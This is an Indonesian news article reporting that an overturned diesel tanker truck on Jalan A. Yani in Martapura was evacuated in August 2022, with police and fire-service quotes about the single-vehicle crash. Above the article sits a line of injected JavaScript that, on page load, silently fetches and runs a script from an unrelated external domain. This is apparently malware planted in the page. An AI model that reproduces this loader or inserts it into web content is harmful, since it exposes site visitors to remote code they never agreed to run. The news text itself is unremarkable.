(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Truk Tangki Terbalik di Martapura Berhasil Dievakuasi, Isi Solar Dipindah Lebih Dulu

KANALKALIMANTAN.COM, MARTAPURA – Truk tangki bermuatan solar yang mengalami kecelakaan lalu lintas hingga terbalik di Jalan A. Yani Km 40 depan kantor DPRD Kabupaten Banjar akhirnya berhasil dievakuasi, Kamis (18/8/2022) malam, pukul 19.11 Wita.

Truk Fuso Fighter pengangkut BBM Pertamina bernopol DA 8054 HI ini membawa 10 ribu solar liter yang bergerak dari arah Banjarbaru menuju Hulu Sungai.

Kapolres Banjar AKBP Doni Hadi melalui Kasi Humas Polres Banjar Iptu Suwarji yang mengatakan, penyebab truk tanki terbalik adalah murni kecelakaan tunggal.

Dijelaskan Iptu Suwarji, sang sopir mengaku sempat kehilangan kendali sesaat sebelum menghantam median jalan dan pohon hingga akhirnya terbalik dengan posisi empat ban menghadap ke atas. Namun, untungnya isi dari tangki tersebut tidak ikut tertumpah ke jalan raya seberang pertokoan Cahaya Bumi Selamat Martapura.

“Si sopir pada saat di jalan depan DPRD Banjar dekat u turn hilang kendali oleng ke kanan, sehingga menabrak median dan terbalik di tengah jalan posisi arah Hulu Sungai, ini laka tunggal,” ungkap Iptu Suwarji, saat dimintai keterangan, Kamis (18/8/2022) malam.

Adapun sopir truk tangki adalah Ahmad Fauzan (26), lelaki asal Pengambau Hilir Dalam, Kecamatan Haruyan Kabupaten Hulu Sungai Tengah. Dalam kecelakaan tunggal itu, Ahmad Fauzan diketahui selamat dan tidak menabrak kendaraan lainnya.

Sementara itu, petugas Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar, BPBD Kabupaten Banjar, dan relawan emergency bersama kepolisian baru bisa mengevakuasi truk tangki yang terbalik pada malam hari.

“Karena memang posisinya terbalik ke atas bannya, sulit sekali kami mengevakuasi membalik truknya agar posisi bannya ke aspal lagi, apalagi masih berisi tangkinya untuk mengembalikannya ke posisi semula dengan dibantu alat berat,” ungkap Fajar Maulana, salah seorang personel DPKP Kabupaten Banjar.

Proses evakuasi, kata Fajar, bermula dari memindahkan semua isi tangki yakni solar ke tangki truk lainnya. Kemudian beberapa unit alat berat diturunkan guna menarik truk tangki agar kembali pada posisi normal.

Proses evakuasi pun berlangsung cukup lama dan menimbulkan kemacetan panjang dari arah simpang empat menuju Sekumpul hingga akhirnya dialihkan ke Jalan Menteri Empat yakni jalan di depan RSUD Ratu Zalecha Martapura. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie